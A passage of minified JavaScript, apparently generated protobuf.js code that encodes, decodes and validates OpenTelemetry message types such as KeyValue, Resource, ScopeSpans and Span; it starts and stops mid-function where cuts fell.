_=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.values&&$.values.length))$.values=[];$.values.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.values!=null&&H.hasOwnProperty("values")){if(!Array.isArray(H.values))return"values: array expected";for(var J=0;J<H.values.length;++J){var O=uA.opentelemetry.proto.common.v1.KeyValue.verify(H.values[J]);if(O)return"values."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.common.v1.KeyValueList)return H;var J=new uA.opentelemetry.proto.common.v1.KeyValueList;if(H.values){if(!Array.isArray(H.values))throw TypeError(".opentelemetry.proto.common.v1.KeyValueList.values: array expected");J.values=[];for(var O=0;O<H.values.length;++O){if(typeof H.values[O]!=="object")throw TypeError(".opentelemetry.proto.common.v1.KeyValueList.values: object expected");J.values[O]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(H.values[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.values=[];if(H.values&&H.values.length){O.values=[];for(var X=0;X<H.values.length;++X)O.values[X]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(H.values[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.common.v1.KeyValueList"},z}(),Y.KeyValue=function(){function z(w){if(w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.key=null,z.prototype.value=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.key!=null&&Object.hasOwnProperty.call(H,"key"))J.uint32(10).string(H.key);if(H.value!=null&&Object.hasOwnProperty.call(H,"value"))uA.opentelemetry.proto.common.v1.AnyValue.encode(H.value,J.uint32(18).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.common.v1.KeyValue;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.key=H.string();break}case 2:{$.value=uA.opentelemetry.proto.common.v1.AnyValue.decode(H,H.uint32());break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.key!=null&&H.hasOwnProperty("key")){if(!FA.isString(H.key))return"key: string expected"}if(H.value!=null&&H.hasOwnProperty("value")){var J=uA.opentelemetry.proto.common.v1.AnyValue.verify(H.value);if(J)return"value."+J}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.common.v1.KeyValue)return H;var J=new uA.opentelemetry.proto.common.v1.KeyValue;if(H.key!=null)J.key=String(H.key);if(H.value!=null){if(typeof H.value!=="object")throw TypeError(".opentelemetry.proto.common.v1.KeyValue.value: object expected");J.value=uA.opentelemetry.proto.common.v1.AnyValue.fromObject(H.value)}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.defaults)O.key="",O.value=null;if(H.key!=null&&H.hasOwnProperty("key"))O.key=H.key;if(H.value!=null&&H.hasOwnProperty("value"))O.value=uA.opentelemetry.proto.common.v1.AnyValue.toObject(H.value,J);return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.common.v1.KeyValue"},z}(),Y.InstrumentationScope=function(){function z(w){if(this.attributes=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.name=null,z.prototype.version=null,z.prototype.attributes=FA.emptyArray,z.prototype.droppedAttributesCount=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.name!=null&&Object.hasOwnProperty.call(H,"name"))J.uint32(10).string(H.name);if(H.version!=null&&Object.hasOwnProperty.call(H,"version"))J.uint32(18).string(H.version);if(H.attributes!=null&&H.attributes.length)for(var O=0;O<H.attributes.length;++O)uA.opentelemetry.proto.common.v1.KeyValue.encode(H.attributes[O],J.uint32(26).fork()).ldelim();if(H.droppedAttributesCount!=null&&Object.hasOwnProperty.call(H,"droppedAttributesCount"))J.uint32(32).uint32(H.droppedAttributesCount);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.common.v1.InstrumentationScope;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.name=H.string();break}case 2:{$.version=H.string();break}case 3:{if(!($.attributes&&$.attributes.length))$.attributes=[];$.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(H,H.uint32()));break}case 4:{$.droppedAttributesCount=H.uint32();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.name!=null&&H.hasOwnProperty("name")){if(!FA.isString(H.name))return"name: string expected"}if(H.version!=null&&H.hasOwnProperty("version")){if(!FA.isString(H.version))return"version: string expected"}if(H.attributes!=null&&H.hasOwnProperty("attributes")){if(!Array.isArray(H.attributes))return"attributes: array expected";for(var J=0;J<H.attributes.length;++J){var O=uA.opentelemetry.proto.common.v1.KeyValue.verify(H.attributes[J]);if(O)return"attributes."+O}}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount")){if(!FA.isInteger(H.droppedAttributesCount))return"droppedAttributesCount: integer expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.common.v1.InstrumentationScope)return H;var J=new uA.opentelemetry.proto.common.v1.InstrumentationScope;if(H.name!=null)J.name=String(H.name);if(H.version!=null)J.version=String(H.version);if(H.attributes){if(!Array.isArray(H.attributes))throw TypeError(".opentelemetry.proto.common.v1.InstrumentationScope.attributes: array expected");J.attributes=[];for(var O=0;O<H.attributes.length;++O){if(typeof H.attributes[O]!=="object")throw TypeError(".opentelemetry.proto.common.v1.InstrumentationScope.attributes: object expected");J.attributes[O]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(H.attributes[O])}}if(H.droppedAttributesCount!=null)J.droppedAttributesCount=H.droppedAttributesCount>>>0;return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.attributes=[];if(J.defaults)O.name="",O.version="",O.droppedAttributesCount=0;if(H.name!=null&&H.hasOwnProperty("name"))O.name=H.name;if(H.version!=null&&H.hasOwnProperty("version"))O.version=H.version;if(H.attributes&&H.attributes.length){O.attributes=[];for(var X=0;X<H.attributes.length;++X)O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(H.attributes[X],J)}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount"))O.droppedAttributesCount=H.droppedAttributesCount;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.common.v1.InstrumentationScope"},z}(),Y.EntityRef=function(){function z(w){if(this.idKeys=[],this.descriptionKeys=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.schemaUrl=null,z.prototype.type=null,z.prototype.idKeys=FA.emptyArray,z.prototype.descriptionKeys=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(10).string(H.schemaUrl);if(H.type!=null&&Object.hasOwnProperty.call(H,"type"))J.uint32(18).string(H.type);if(H.idKeys!=null&&H.idKeys.length)for(var O=0;O<H.idKeys.length;++O)J.uint32(26).string(H.idKeys[O]);if(H.descriptionKeys!=null&&H.descriptionKeys.length)for(var O=0;O<H.descriptionKeys.length;++O)J.uint32(34).string(H.descriptionKeys[O]);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.common.v1.EntityRef;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.schemaUrl=H.string();break}case 2:{$.type=H.string();break}case 3:{if(!($.idKeys&&$.idKeys.length))$.idKeys=[];$.idKeys.push(H.string());break}case 4:{if(!($.descriptionKeys&&$.descriptionKeys.length))$.descriptionKeys=[];$.descriptionKeys.push(H.string());break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}if(H.type!=null&&H.hasOwnProperty("type")){if(!FA.isString(H.type))return"type: string expected"}if(H.idKeys!=null&&H.hasOwnProperty("idKeys")){if(!Array.isArray(H.idKeys))return"idKeys: array expected";for(var J=0;J<H.idKeys.length;++J)if(!FA.isString(H.idKeys[J]))return"idKeys: string[] expected"}if(H.descriptionKeys!=null&&H.hasOwnProperty("descriptionKeys")){if(!Array.isArray(H.descriptionKeys))return"descriptionKeys: array expected";for(var J=0;J<H.descriptionKeys.length;++J)if(!FA.isString(H.descriptionKeys[J]))return"descriptionKeys: string[] expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.common.v1.EntityRef)return H;var J=new uA.opentelemetry.proto.common.v1.EntityRef;if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);if(H.type!=null)J.type=String(H.type);if(H.idKeys){if(!Array.isArray(H.idKeys))throw TypeError(".opentelemetry.proto.common.v1.EntityRef.idKeys: array expected");J.idKeys=[];for(var O=0;O<H.idKeys.length;++O)J.idKeys[O]=String(H.idKeys[O])}if(H.descriptionKeys){if(!Array.isArray(H.descriptionKeys))throw TypeError(".opentelemetry.proto.common.v1.EntityRef.descriptionKeys: array expected");J.descriptionKeys=[];for(var O=0;O<H.descriptionKeys.length;++O)J.descriptionKeys[O]=String(H.descriptionKeys[O])}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.idKeys=[],O.descriptionKeys=[];if(J.defaults)O.schemaUrl="",O.type="";if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;if(H.type!=null&&H.hasOwnProperty("type"))O.type=H.type;if(H.idKeys&&H.idKeys.length){O.idKeys=[];for(var X=0;X<H.idKeys.length;++X)O.idKeys[X]=H.idKeys[X]}if(H.descriptionKeys&&H.descriptionKeys.length){O.descriptionKeys=[];for(var X=0;X<H.descriptionKeys.length;++X)O.descriptionKeys[X]=H.descriptionKeys[X]}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.common.v1.EntityRef"},z}(),Y}(),q}(),K.resource=function(){var q={};return q.v1=function(){var Y={};return Y.Resource=function(){function z(w){if(this.attributes=[],this.entityRefs=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.attributes=FA.emptyArray,z.prototype.droppedAttributesCount=null,z.prototype.entityRefs=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.attributes!=null&&H.attributes.length)for(var O=0;O<H.attributes.length;++O)uA.opentelemetry.proto.common.v1.KeyValue.encode(H.attributes[O],J.uint32(10).fork()).ldelim();if(H.droppedAttributesCount!=null&&Object.hasOwnProperty.call(H,"droppedAttributesCount"))J.uint32(16).uint32(H.droppedAttributesCount);if(H.entityRefs!=null&&H.entityRefs.length)for(var O=0;O<H.entityRefs.length;++O)uA.opentelemetry.proto.common.v1.EntityRef.encode(H.entityRefs[O],J.uint32(26).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.resource.v1.Resource;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.attributes&&$.attributes.length))$.attributes=[];$.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(H,H.uint32()));break}case 2:{$.droppedAttributesCount=H.uint32();break}case 3:{if(!($.entityRefs&&$.entityRefs.length))$.entityRefs=[];$.entityRefs.push(uA.opentelemetry.proto.common.v1.EntityRef.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.attributes!=null&&H.hasOwnProperty("attributes")){if(!Array.isArray(H.attributes))return"attributes: array expected";for(var J=0;J<H.attributes.length;++J){var O=uA.opentelemetry.proto.common.v1.KeyValue.verify(H.attributes[J]);if(O)return"attributes."+O}}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount")){if(!FA.isInteger(H.droppedAttributesCount))return"droppedAttributesCount: integer expected"}if(H.entityRefs!=null&&H.hasOwnProperty("entityRefs")){if(!Array.isArray(H.entityRefs))return"entityRefs: array expected";for(var J=0;J<H.entityRefs.length;++J){var O=uA.opentelemetry.proto.common.v1.EntityRef.verify(H.entityRefs[J]);if(O)return"entityRefs."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.resource.v1.Resource)return H;var J=new uA.opentelemetry.proto.resource.v1.Resource;if(H.attributes){if(!Array.isArray(H.attributes))throw TypeError(".opentelemetry.proto.resource.v1.Resource.attributes: array expected");J.attributes=[];for(var O=0;O<H.attributes.length;++O){if(typeof H.attributes[O]!=="object")throw TypeError(".opentelemetry.proto.resource.v1.Resource.attributes: object expected");J.attributes[O]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(H.attributes[O])}}if(H.droppedAttributesCount!=null)J.droppedAttributesCount=H.droppedAttributesCount>>>0;if(H.entityRefs){if(!Array.isArray(H.entityRefs))throw TypeError(".opentelemetry.proto.resource.v1.Resource.entityRefs: array expected");J.entityRefs=[];for(var O=0;O<H.entityRefs.length;++O){if(typeof H.entityRefs[O]!=="object")throw TypeError(".opentelemetry.proto.resource.v1.Resource.entityRefs: object expected");J.entityRefs[O]=uA.opentelemetry.proto.common.v1.EntityRef.fromObject(H.entityRefs[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.attributes=[],O.entityRefs=[];if(J.defaults)O.droppedAttributesCount=0;if(H.attributes&&H.attributes.length){O.attributes=[];for(var X=0;X<H.attributes.length;++X)O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(H.attributes[X],J)}if(H.droppedAttributesCount!=null&&H.hasOwnProperty("droppedAttributesCount"))O.droppedAttributesCount=H.droppedAttributesCount;if(H.entityRefs&&H.entityRefs.length){O.entityRefs=[];for(var X=0;X<H.entityRefs.length;++X)O.entityRefs[X]=uA.opentelemetry.proto.common.v1.EntityRef.toObject(H.entityRefs[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.resource.v1.Resource"},z}(),Y}(),q}(),K.trace=function(){var q={};return q.v1=function(){var Y={};return Y.TracesData=function(){function z(w){if(this.resourceSpans=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.resourceSpans=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.resourceSpans!=null&&H.resourceSpans.length)for(var O=0;O<H.resourceSpans.length;++O)uA.opentelemetry.proto.trace.v1.ResourceSpans.encode(H.resourceSpans[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.trace.v1.TracesData;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.resourceSpans&&$.resourceSpans.length))$.resourceSpans=[];$.resourceSpans.push(uA.opentelemetry.proto.trace.v1.ResourceSpans.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.resourceSpans!=null&&H.hasOwnProperty("resourceSpans")){if(!Array.isArray(H.resourceSpans))return"resourceSpans: array expected";for(var J=0;J<H.resourceSpans.length;++J){var O=uA.opentelemetry.proto.trace.v1.ResourceSpans.verify(H.resourceSpans[J]);if(O)return"resourceSpans."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.trace.v1.TracesData)return H;var J=new uA.opentelemetry.proto.trace.v1.TracesData;if(H.resourceSpans){if(!Array.isArray(H.resourceSpans))throw TypeError(".opentelemetry.proto.trace.v1.TracesData.resourceSpans: array expected");J.resourceSpans=[];for(var O=0;O<H.resourceSpans.length;++O){if(typeof H.resourceSpans[O]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.TracesData.resourceSpans: object expected");J.resourceSpans[O]=uA.opentelemetry.proto.trace.v1.ResourceSpans.fromObject(H.resourceSpans[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.resourceSpans=[];if(H.resourceSpans&&H.resourceSpans.length){O.resourceSpans=[];for(var X=0;X<H.resourceSpans.length;++X)O.resourceSpans[X]=uA.opentelemetry.proto.trace.v1.ResourceSpans.toObject(H.resourceSpans[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.trace.v1.TracesData"},z}(),Y.ResourceSpans=function(){function z(w){if(this.scopeSpans=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.resource=null,z.prototype.scopeSpans=FA.emptyArray,z.prototype.schemaUrl=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.resource!=null&&Object.hasOwnProperty.call(H,"resource"))uA.opentelemetry.proto.resource.v1.Resource.encode(H.resource,J.uint32(10).fork()).ldelim();if(H.scopeSpans!=null&&H.scopeSpans.length)for(var O=0;O<H.scopeSpans.length;++O)uA.opentelemetry.proto.trace.v1.ScopeSpans.encode(H.scopeSpans[O],J.uint32(18).fork()).ldelim();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(26).string(H.schemaUrl);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.trace.v1.ResourceSpans;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.resource=uA.opentelemetry.proto.resource.v1.Resource.decode(H,H.uint32());break}case 2:{if(!($.scopeSpans&&$.scopeSpans.length))$.scopeSpans=[];$.scopeSpans.push(uA.opentelemetry.proto.trace.v1.ScopeSpans.decode(H,H.uint32()));break}case 3:{$.schemaUrl=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.resource!=null&&H.hasOwnProperty("resource")){var J=uA.opentelemetry.proto.resource.v1.Resource.verify(H.resource);if(J)return"resource."+J}if(H.scopeSpans!=null&&H.hasOwnProperty("scopeSpans")){if(!Array.isArray(H.scopeSpans))return"scopeSpans: array expected";for(var O=0;O<H.scopeSpans.length;++O){var J=uA.opentelemetry.proto.trace.v1.ScopeSpans.verify(H.scopeSpans[O]);if(J)return"scopeSpans."+J}}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.trace.v1.ResourceSpans)return H;var J=new uA.opentelemetry.proto.trace.v1.ResourceSpans;if(H.resource!=null){if(typeof H.resource!=="object")throw TypeError(".opentelemetry.proto.trace.v1.ResourceSpans.resource: object expected");J.resource=uA.opentelemetry.proto.resource.v1.Resource.fromObject(H.resource)}if(H.scopeSpans){if(!Array.isArray(H.scopeSpans))throw TypeError(".opentelemetry.proto.trace.v1.ResourceSpans.scopeSpans: array expected");J.scopeSpans=[];for(var O=0;O<H.scopeSpans.length;++O){if(typeof H.scopeSpans[O]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.ResourceSpans.scopeSpans: object expected");J.scopeSpans[O]=uA.opentelemetry.proto.trace.v1.ScopeSpans.fromObject(H.scopeSpans[O])}}if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.scopeSpans=[];if(J.defaults)O.resource=null,O.schemaUrl="";if(H.resource!=null&&H.hasOwnProperty("resource"))O.resource=uA.opentelemetry.proto.resource.v1.Resource.toObject(H.resource,J);if(H.scopeSpans&&H.scopeSpans.length){O.scopeSpans=[];for(var X=0;X<H.scopeSpans.length;++X)O.scopeSpans[X]=uA.opentelemetry.proto.trace.v1.ScopeSpans.toObject(H.scopeSpans[X],J)}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.trace.v1.ResourceSpans"},z}(),Y.ScopeSpans=function(){function z(w){if(this.spans=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.scope=null,z.prototype.spans=FA.emptyArray,z.prototype.schemaUrl=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.scope!=null&&Object.hasOwnProperty.call(H,"scope"))uA.opentelemetry.proto.common.v1.InstrumentationScope.encode(H.scope,J.uint32(10).fork()).ldelim();if(H.spans!=null&&H.spans.length)for(var O=0;O<H.spans.length;++O)uA.opentelemetry.proto.trace.v1.Span.encode(H.spans[O],J.uint32(18).fork()).ldelim();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(26).string(H.schemaUrl);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.trace.v1.ScopeSpans;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.decode(H,H.uint32());break}case 2:{if(!($.spans&&$.spans.length))$.spans=[];$.spans.push(uA.opentelemetry.proto.trace.v1.Span.decode(H,H.uint32()));break}case 3:{$.schemaUrl=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.scope!=null&&H.hasOwnProperty("scope")){var J=uA.opentelemetry.proto.common.v1.InstrumentationScope.verify(H.scope);if(J)return"scope."+J}if(H.spans!=null&&H.hasOwnProperty("spans")){if(!Array.isArray(H.spans))return"spans: array expected";for(var O=0;O<H.spans.length;++O){var J=uA.opentelemetry.proto.trace.v1.Span.verify(H.spans[O]);if(J)return"spans."+J}}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.trace.v1.ScopeSpans)return H;var J=new uA.opentelemetry.proto.trace.v1.ScopeSpans;if(H.scope!=null){if(typeof H.scope!=="object")throw TypeError(".opentelemetry.proto.trace.v1.ScopeSpans.scope: object expected");J.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.fromObject(H.scope)}if(H.spans){if(!Array.isArray(H.spans))throw TypeError(".opentelemetry.proto.trace.v1.ScopeSpans.spans: array expected");J.spans=[];for(var O=0;O<H.spans.length;++O){if(typeof H.spans[O]!=="object")throw TypeError(".opentelemetry.proto.trace.v1.ScopeSpans.spans: object expected");J.spans[O]=uA.opentelemetry.proto.trace.v1.Span.fromObject(H.spans[O])}}if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.spans=[];if(J.defaults)O.scope=null,O.schemaUrl="";if(H.scope!=null&&H.hasOwnProperty("scope"))O.scope=uA.opentelemetry.proto.common.v1.InstrumentationScope.toObject(H.scope,J);if(H.spans&&H.spans.length){O.spans=[];for(var X=0;X<H.spans.length;++X)O.spans[X]=uA.opentelemetry.proto.trace.v1.Span.toObject(H.spans[X],J)}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.trace.v1.ScopeSpans"},z}(),Y.Span=function(){function z(w){if(this.attributes=[],this.events=[],this.links=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.traceId=null,z.prototype.spanId=null,z.prototype.traceState=null,z.prototype.parentSpanId=null,z.prototype.flags=null,z.prototype.name=null,z.prototype.kind=null,z.prototype.startTimeUnixNano=null,z.prototype.endTimeUnixNano=null,z.prototype.attributes=FA.emptyArray,z.prototype.droppedAttributesCount=null,z.prototype.events=FA.emptyArray,z.prototype.droppedEventsCount=null,z.prototype.links=FA.emptyArray,z.prototype.droppedLinksCount=null,z.prototype.status=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.traceId!=null&&Object.hasOwnProperty.call(H,"traceId"))J.uint32(10).bytes(H.traceId);if(H.spanId!=null&&Object.hasOwnProperty.call(H,"spanId"))J.uint32(18).bytes(H.spanId);if(H.traceState!=null&&Object.hasOwnProperty.call(H,"traceState"))J.uint32(26).string(H.traceState);if(H.parentSpanId!=null&&Object.hasOwnProperty.call(H,"parentSpanId"))J.uint32(34).bytes(H.parentSpanId);if(H.name!=null&&Object.hasOwnProperty.call(H,"name"))J.uint32(42).string(H.name);if(H.kind!=null&&Object.hasOwnProperty.call(H,"kind"))J.uint32(48).int32(H.kind);if(H.startTimeUnixNano!=null&&Object.hasOwnProperty.call(H,"startTimeUnixNano"))J.uint32(57).fixed64(H.startTimeUnixNano);if(H.endTimeUnixNano!=null&&Object.hasOwnProperty.call(H,"endTimeUnixNano"))J.uint32(65).fixed64(H.endTimeUnixNano);if(H.attributes!=null&&H.attributes.length)for(var O=0;O<H.attributes.length;++O)uA.opentelemetry.proto.common.v1.KeyValue.encode(H.attributes[O],J.uint32(74).fork()).ldelim();if(H.droppedAttributesCount!=null&&Object.hasOwnProperty.call(H,"droppedAttributesCount"))J.uint32(80).uint32(H.droppedAttributesCount);if(H.events!=null&&H.events.length)for(var O=0;O<H.events.length;++O)uA.opentelemetry.proto.trace.v1.Span.Event.encode(H.events[O],J.uint32(90).fork()).ldelim();if(H.droppedEventsCount!=null&&Object.hasOwnProperty.call(H,"droppedEventsCount"))J.uint32(96).uint32(H.droppedEventsCount);if(H.links!=null&&H.links.length)for(var O=0;O<H.links.length;++O)uA.opentelemetry.proto.trace.v1.Span.Link.encode(H.links[O],J.uint32(106).fork()).ldelim();if(H.droppedLinksCount!=null&&Object.hasOwnProperty.call(H,"droppedLinksCount"))J.uint32(112).uint32(H.droppedLinksCount);if(H.status!=null&&Object.hasOwnProperty.call(H,"status"))uA.opentelemetry.proto.trace.v1.Status.encode(H.status,J.uint32(122).fork()).ldelim();if(H.flags!=null&&Object.hasOwnProperty.call(H,"flags"))J.uint32(133).fixed32(H.flags);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.trace.v1.Span;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.traceId=H.bytes();break}case 2:{$.spanId=H.bytes();break}case 3:{$.traceState=H.string();break}case 4:{$.parentSpanId=H.bytes();break}case 16:{$.flags=H.fixed32();break}case 5:{$.name=H.string();break}case 6:{$.kind=H.int32();break}case 7:{$.startTimeUnixNano=H.fixed64();break}case 8:{$.endTimeUnixNano=H.fixed64();break}case 